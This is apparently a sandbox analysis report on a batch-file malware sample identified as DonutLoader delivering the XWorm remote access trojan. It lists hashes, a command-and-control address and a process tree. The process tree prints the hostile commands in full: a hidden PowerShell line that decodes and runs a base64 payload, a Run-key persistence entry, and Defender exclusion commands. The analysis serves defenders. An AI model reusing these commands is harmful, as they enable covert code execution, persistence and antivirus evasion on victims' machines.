donutloader | bfe654871546beefc5b379d95a582716abbf505ecb1867f185b60dc257a0d4b4

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
23/02/2026, 08:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RFQ ARL6100226FF.bat
Size 92KB
Sample260223-ktflhsbw4f
SHA256 bfe654871546beefc5b379d95a582716abbf505ecb1867f185b60dc257a0d4b4
MD5 7d442c81d0179cc3888d26c1bf67ca57
SHA1 f89cd33958017d705b417822168589c7c267d586
SHA512 b49fc6f309528f69e4283d3d57e4c584d798ff687dc3a6e12827671cc123f5f09e6579276f6891628067efdc000af4b8c29362f32543c453527bea880ac64de0
SSDEEP 1536:tPSqZJYVNX6Z70By6/f3Z3xJOi4osT85SGAP9qA5Y5qyFyrFwWPb00diXiWgV:dScJr0V3Z3x0i4o4mSB5OFaFVw0diXin
TLSH
T1EA93E1125E692E108764062DD0FE28C566A95FDB5043798EEBB3BD0A6FFB20831D31DD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution donutloader xworm loader persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

XWorm V6.4

204.10.160.190:7003

Mutex

Cqu1F0NxohroKG5U

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3104-62-0x0000000003C00000-0x0000000003C0E000-memory.dmp	family_xworm

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral2/memory/3104-60-0x0000000000860000-0x000000000086C000-memory.dmp	family_donutloader

DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader
Donutloader family
donutloader
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5924	powershell.exe
5976	powershell.exe
4052	powershell.exe
2704	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
3104	Explorer.EXE

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\Teamsstill = "cmd /c \"C:\\Users\\Admin\\AppData\\Roaming\\WIPE\\Male.cmd\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\Teamsstill = "cmd /c \"C:\\Users\\Admin\\AppData\\Roaming\\WIPE\\Male.cmd\""	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5976	powershell.exe
5976	powershell.exe
5924	powershell.exe
4052	powershell.exe
4052	powershell.exe
2704	powershell.exe
2704	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3104	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5924	powershell.exe
Token: SeDebugPrivilege	5976	powershell.exe
Token: SeDebugPrivilege	3104	Explorer.EXE
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 5268 wrote to memory of 5452	5268	cmd.exe	84
PID 5452 wrote to memory of 3896	5452	cscript.exe	85
PID 3896 wrote to memory of 3136	3896	cmd.exe	87
PID 3896 wrote to memory of 3380	3896	cmd.exe	88
PID 3896 wrote to memory of 5924	3896	cmd.exe	89
PID 5924 wrote to memory of 5840	5924	powershell.exe	91
PID 5560 wrote to memory of 5624	5560	cmd.exe	93
PID 5840 wrote to memory of 5640	5840	csc.exe	94
PID 5624 wrote to memory of 5600	5624	cscript.exe	95
PID 5924 wrote to memory of 4228	5924	powershell.exe	97
PID 5600 wrote to memory of 5932	5600	cmd.exe	98
PID 4228 wrote to memory of 5940	4228	csc.exe	99
PID 5600 wrote to memory of 5976	5600	cmd.exe	100
PID 5924 wrote to memory of 3104	5924	powershell.exe	53
PID 3104 wrote to memory of 4052	3104	Explorer.EXE	101
PID 3104 wrote to memory of 2704	3104	Explorer.EXE	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3136	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RFQ ARL6100226FF.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5268
- - C:\Windows\system32\cscript.exe
    cscript //nologo "C:\Users\Admin\AppData\Local\Temp\FOCUS.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5452
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\RFQ ARL6100226FF.bat" %*
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3896
    - - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\Users\Admin\AppData\Roaming\WIPE"
        5⤵
        Views/modifies file attributes
        
        PID:3136
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Teamsstill" /t REG_SZ /d "cmd /c \"C:\Users\Admin\AppData\Roaming\WIPE\Male.cmd\"" /f
        5⤵
        Adds Run key to start application
        
        PID:3380
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle h -EP Bypass -c "try { $Locate = Get-Content 'C:\Users\Admin\AppData\Local\Temp\RFQ ARL6100226FF.bat' -Raw; if ($Locate -match ':REMoJJ0Ylbig0ZaO([A-Za-z0-9+/=]+)') { $Wet = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])); Invoke-Expression $Wet } } catch {}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5924
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hw2ulwli\hw2ulwli.cmdline"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5840
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF925.tmp" "c:\Users\Admin\AppData\Local\Temp\hw2ulwli\CSCCB83445D1DF941E3ACD0DE262968D343.TMP"
        7⤵
        
        PID:5640
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yftarqs4\yftarqs4.cmdline"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4228
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF9B2.tmp" "c:\Users\Admin\AppData\Local\Temp\yftarqs4\CSC32B53A4C7FA3439696F881BCA201FC6.TMP"
        7⤵
        
        PID:5940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Explorer.EXE'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Explorer.EXE'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2704

C:\Windows\system32\cmd.exe
"cmd /c "C:\Users\Admin\AppData\Roaming\WIPE\Male.cmd""
1⤵
- Suspicious use of WriteProcessMemory
PID:5560
- C:\Windows\system32\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\FOCUS.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5624
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\WIPE\Male.cmd" %*
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5600
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Teamsstill" /t REG_SZ /d "cmd /c \"C:\Users\Admin\AppData\Roaming\WIPE\Male.cmd\"" /f
      4⤵
      Adds Run key to start application
      PID:5932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle h -EP Bypass -c "try { $Locate = Get-Content 'C:\Users\Admin\AppData\Roaming\WIPE\Male.cmd' -Raw; if ($Locate -match ':REMoJJ0Ylbig0ZaO([A-Za-z0-9+/=]+)') { $Wet = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])); Invoke-Expression $Wet } } catch {}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5976

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 7c6c09f48f03421430d707d27632810414e5e2bf2eecd5eb675fecf8b45a9a92
MD5 22e796539d05c5390c21787da1fb4c2b
SHA1 55320ebdedd3069b2aaf1a258462600d9ef53a58
SHA512 d9cc0cb22df56db72a71504bb3ebc36697e0a7a1d2869e0e0ab61349bda603298fe6c667737b79bf2235314fb49b883ba4c5f137d002e273e79391038ecf9c09
TLSH
T15061DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a7dd972424019b0668bf196b34e30295110a5c9378ea780675fd8f5a7caa4067
MD5 6ff68ca130fbf845f7c96be4f56f948a
SHA1 b8b3e8e95bdadb0cf3bb816987fba434b15b0e75
SHA512 2cf787777a2024802c319a480e71684ed174319551fd5d02a54ba77bbc9dcb49bd188b9b2bfa0669ce3257fa5d4613c0784c9bafdeef0d64b7733529c8c575b9
TLSH
T16821A833B39CC135C8D9017A108CAD01B2B5C3CB449ECECB7B84C508A57F99ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 93fd3c992521cef182e6847f4f6658c58cfd5bdde16d4732d1c055b3c9e34398
MD5 00a393b7ba301744fef3e6a7618aa4b7
SHA1 1e59132dfae5fc1b1f8cfdbd3b0aa281903ff743
SHA512 af1c75b62ab48ea5be32ba7ddca5e8f5afed1aba52a9f0fa8f7133b71f7fd3010b13f0dc692e218eac1057d4dcbcfdfa8b2a4ce284c246d9845819ea88b63516
TLSH
T18B218633B7ACC235C8D911BA208CAD01B2B5C3C7449ECE8B7B84C508A57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

FOCUS.vbs

Path C:\Users\Admin\AppData\Local\Temp\FOCUS.vbs
Size 126B
SHA256 c5990fadf74e970b90800364e0222437fa379d33389446247405894d397f1b5e
MD5 2d2023958983d58d54ee5e3db47ed1aa
SHA1 2c80f12afee445aec2c5d1a735110bbeeb1884fc
SHA512 c9029c1ccdc56bbe48ccc818bc75214fa1fe62cddb370e6e3c383ff9b3246c60039d3cc0a985afbb88648110aff959f41030bf78fd8ee28cd02b0da0d44b3153
TLSH
T163B092741AAEDA1E680B91E68672805889A0EFC12AA1BE186B40C84C62754E4A75B346
MD5 SHA1 SHA512 TLSH

Submit Download

FOCUS.vbs

Path C:\Users\Admin\AppData\Local\Temp\FOCUS.vbs
Size 136B
SHA256 f92eb8ab5fa809c23df5f7f19d330f007e2eab190ad4cd970f4a16cc52b55a8e
MD5 a808ea78cf75b15bd298391972a8e63d
SHA1 51c868b91b8009a84bb2c91f7d360f1373100fd9
SHA512 23b28644ee612bfd2ab1f8051253b48b3f0ecd75eac75e122f516ece2fc88bce6f7c55b9b475216d64cfc1eaa30c10713d0da12777cd15794d8bee574ddf2b5e
TLSH
T19AC02B30056FC53D0C4EF0B60531C96C81B0FE4027307F201B00D80C41760C46B53103
MD5 SHA1 SHA512 TLSH

Submit Download

Protect2a3d628b.dll

Path C:\Users\Admin\AppData\Local\Temp\Protect2a3d628b.dll
Size 826KB
SHA256 ee5d8d19b12e43459490c9c27024416c670a133fc3f1972fc8f24c6f2b80544c
MD5 2a3d628b8e04f48a8aea26a687cdc545
SHA1 e44b4764e00b4e3607f226ab0388403ee785e0bd
SHA512 3ff86dbcb22a815eeeddaffbaa60ff37e39da7b0850eae86041ec6e9b26ec9a7825d955a7d7e44fdca0a98dfbd7ef136e639d11881bbf7be01143e68be1237a8
SSDEEP 12288:i4WPk0y9VduVp72BWYgeWYg955/155/k9Flbv50eFxf+/Paao4o:iY0yNuVC9Hbv50eFGPlf
TLSH
T1BA055C2ABA9981A6C0B6D03D8AA78556F7F274440B75CBDB1191437E2F33BE45E3D320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESF925.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESF925.tmp
Size 1KB
SHA256 f4fecf07ca8ee7b3dcbf111c451264b4f296515daa3437f9b4b93f5a060dccfc
MD5 45d7820a136c703a247d9276cc8cb99f
SHA1 a5ff814a0139b1f6c167f3bea35b281b23bd7be9
SHA512 114fa2ba2752aa8c1d0e74249c8689eced5c526ea279e88c1eca1445f40f63231d38e79d73d3e60e0b9a263a4c681eef91fc66c1fb88d11d444f65f22d218082
TLSH
T1BE21AF0583E84B1AF0B757317DF5132BA235FE94EFA2939B854042281C51144EEE0F72
MD5 SHA1 SHA512 TLSH

Submit Download

RESF9B2.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESF9B2.tmp
Size 1KB
SHA256 87fc61d3584ba8a209bfed314525a90c29e7bf0ff9ff0c4e61abb361086c26bf
MD5 424308c4eb80d4f32a17b608bf4a8ebc
SHA1 a030cdc3f3f90d6d77ca3efbc012404ff5b910db
SHA512 f5d4761ec8516af736781ab6d3677b79b833232931a0ba7e8e3d8ec7023a4768881a30b5b593c52bddeeb2fa75c19f33e185db6ea968b770a52810bde5be03a3
TLSH
T1EC21AF0443E94B1FF0775B316AFA172B6238FD54EFB2535B8541522C2C90504DEB1E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_uldkezh4.kd2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uldkezh4.kd2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

hw2ulwli.dll

Path C:\Users\Admin\AppData\Local\Temp\hw2ulwli\hw2ulwli.dll
Size 3KB
SHA256 3b4fb9620fec500564fc18c276a41caab457f30ee9a251dd272cb13d6abdd749
MD5 90a3656c803de6ee11ad723bfb3a90ae
SHA1 16d5ccc7b7ca54ac4c45f811d0d61956240ebe39
SHA512 3bc562696bbb3c2a214d6611f3ff719a2bc4f1afc6ff9faff7d7a1f7aa2b648f2435eed55ce5d4daf41d6c13b9782016a64fe8157f7fe433748f75278259697a
TLSH
T11451ED0A67E84A6BE4A70B34AEF3431267B4FC505F73535E0EC002296C616549E72BB1
MD5 SHA1 SHA512 TLSH

Submit Download

yftarqs4.dll

Path C:\Users\Admin\AppData\Local\Temp\yftarqs4\yftarqs4.dll
Size 3KB
SHA256 23c6d75f2cb7b224ffefa4bccfd69be928a3c03c12ff9bfa26b964e59d4f1641
MD5 0947ed84541c08bfd479abc224a6cc33
SHA1 711d9ac23e4e16c115f82647e662004e34ca55e5
SHA512 a1d515e94ff8afa2dacd7aa1e834b015a5e0b26b830e965b7f0984eb45bdbfa4f7fa1dde2f4b152ad4e8b6aa5b944c1adb75c0a46d35e390e12674cb2b2490f8
TLSH
T114710E069BE8465FF0BA0734AEF3475366B1E8905F724B2D0990121CACB12A44972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

Male.cmd

Path C:\Users\Admin\AppData\Roaming\WIPE\Male.cmd
Size 92KB
SHA256 bfe654871546beefc5b379d95a582716abbf505ecb1867f185b60dc257a0d4b4
MD5 7d442c81d0179cc3888d26c1bf67ca57
SHA1 f89cd33958017d705b417822168589c7c267d586
SHA512 b49fc6f309528f69e4283d3d57e4c584d798ff687dc3a6e12827671cc123f5f09e6579276f6891628067efdc000af4b8c29362f32543c453527bea880ac64de0
SSDEEP 1536:tPSqZJYVNX6Z70By6/f3Z3xJOi4osT85SGAP9qA5Y5qyFyrFwWPb00diXiWgV:dScJr0V3Z3x0i4o4mSB5OFaFVw0diXin
TLSH
T1EA93E1125E692E108764062DD0FE28C566A95FDB5043798EEBB3BD0A6FFB20831D31DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSCCB83445D1DF941E3ACD0DE262968D343.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\hw2ulwli\CSCCB83445D1DF941E3ACD0DE262968D343.TMP
Size 652B
SHA256 5cec1cc925fdc7508edc9a7c0482eb919a4643811003c9549e871c1dd2e6b626
MD5 502195ae5759f38ebf17e7777b77c26e
SHA1 97fe427473ed6dcd9391dff6c910bbf514ac9f51
SHA512 9f2028972fcdce92c0093b47bbd18b0dfc2e93d680903a16052b93da0854fd976228f083f296e475d9680da053a98c02948bfe8db4312625898e8f4d05a5279a
TLSH
T176F0820963F8120EF0F35B30BDF6936395A9BCA5DE3293ED2480031D2C645109A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

hw2ulwli.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\hw2ulwli\hw2ulwli.0.cs
Size 408B
SHA256 332cc91968b5e50ea67fac2cedd4ae665e388f10e46e841c9e5a3ef2f3285439
MD5 e489d7c83003ec1606bf45271020d2c2
SHA1 8aafea49188f4d8a11040e8515b10173cfdc3598
SHA512 474b2936a86d170d2bc4abf84d6c72037daba3f5f98f54d7a3cc2fa20078bc67caae1d6baf08bde9f88ba79cefb5996f425e9d27e9b6a1eb3c9021599847b4c1
TLSH
T17FE0E5282FD65604205BD41EAD66D0AAF563E53642EF3811B8FC02608F0B80A5635F2E
MD5 SHA1 SHA512 TLSH

Submit Download

hw2ulwli.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\hw2ulwli\hw2ulwli.cmdline
Size 369B
SHA256 94157b1331f17550b0db39b009dd4ede403e761cf5febbb7b2ab16aba39b3c9b
MD5 302caff93e772e2df0ae9ee417c22ad3
SHA1 2f3519fc49013ed64b1195fba87be823388ad4ad
SHA512 4c9dd486326c397075488840ca702286b326e91bd396b66c347a601b57ec314f3ff74fc3bf5ceea3837e8a709bf9307381b6fb44bac7708d32d1437c804ba1ce
TLSH
T1F4E0202E6356C6FE15DD10372769C5BCC37207C729917FD45590446DE01704467E1755
MD5 SHA1 SHA512 TLSH

Submit Download

CSC32B53A4C7FA3439696F881BCA201FC6.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\yftarqs4\CSC32B53A4C7FA3439696F881BCA201FC6.TMP
Size 652B
SHA256 c3e54331759c5bfd6f80c2a58f4840262a29134514fa61dea6ef661f8fec3b3b
MD5 0d8f379f1da6494dd99a66e586ca81d7
SHA1 814c41450d57022b20574d37ce39164f0c0d9c69
SHA512 ef03351dbbbe713f9bda93aadcf1157c838488cbe9dc30733ca4341e3b6c147f59f49bec0464c697f165a733cf162d9ad89ae97af3d37cf47ffc8a456ed39975
TLSH
T182F03A4963F8420EF0F74B70B9F6436391ADBC64DE3293ED5440131D28749208962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

yftarqs4.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\yftarqs4\yftarqs4.0.cs
Size 795B
SHA256 64f97a1eea4704304d31349fcb297b88d40b23df1841374e251bdf305480cc5b
MD5 ab8a9a27ea0fa2b753a04f5690c5cc9c
SHA1 274aae602676395827117bfdcd398c7e567caec9
SHA512 e6380c71099e3f6369fc74f619c73ab2e121c213ad7d5b566706df2c91d06bfb5d0e0afabdde791db73d48c0a230042691889d1d6fb47ddeb1e52603c635e75f
TLSH
T1C701F5282B6183012467C63DDDAAD0A9F113913392FE6815B5EC56708F4A41ED032F2E
MD5 SHA1 SHA512 TLSH

Submit Download

yftarqs4.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\yftarqs4\yftarqs4.cmdline
Size 369B
SHA256 d6459a6e6e2004513c93305601ede6a1bc10c5b7666348e36c08a7c64f7d939e
MD5 ca6ed999f68f2610ac3ee97d3f1eb345
SHA1 6dcc5dd2f07b17aa07e2f02a70e32233251bf060
SHA512 c3c1fef8b80a40f94ddefc0d094995015caa8e4bc5f3d7b3858da92da5eff634fcb2f8ba19b1109a9d2d8055bc448ab86f6491b124cc0da7ca84060609f5a337
TLSH
T1A4E0683B4366CBBD01DB5007237AE7EC82B20B4339417F945044840DD01700827E1B41
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2704-107-0x00000168FE5C0000-0x00000168FE5C8000-memory.dmp

Download

memory/2704-106-0x00000168FDCD0000-0x00000168FDCE2000-memory.dmp

Download

memory/2704-105-0x00000168FDC30000-0x00000168FDC3C000-memory.dmp

Download

memory/3104-113-0x0000000007200000-0x00000000073A8000-memory.dmp

Download

memory/3104-60-0x0000000000860000-0x000000000086C000-memory.dmp

Download

memory/3104-118-0x0000000003E00000-0x0000000003E10000-memory.dmp

Download

memory/3104-119-0x0000000003F70000-0x0000000003F7E000-memory.dmp

Download

memory/3104-122-0x000000000F1E0000-0x000000000F530000-memory.dmp

Download

memory/3104-62-0x0000000003C00000-0x0000000003C0E000-memory.dmp

Download

memory/4052-85-0x0000014DDE460000-0x0000014DDE46A000-memory.dmp

Download

memory/4052-87-0x0000014DC5970000-0x0000014DC597C000-memory.dmp

Download

memory/4052-89-0x0000014DDE300000-0x0000014DDE308000-memory.dmp

Download

memory/4052-88-0x0000014DC5A30000-0x0000014DC5A42000-memory.dmp

Download

memory/4052-77-0x0000014DDE310000-0x0000014DDE32C000-memory.dmp

Download

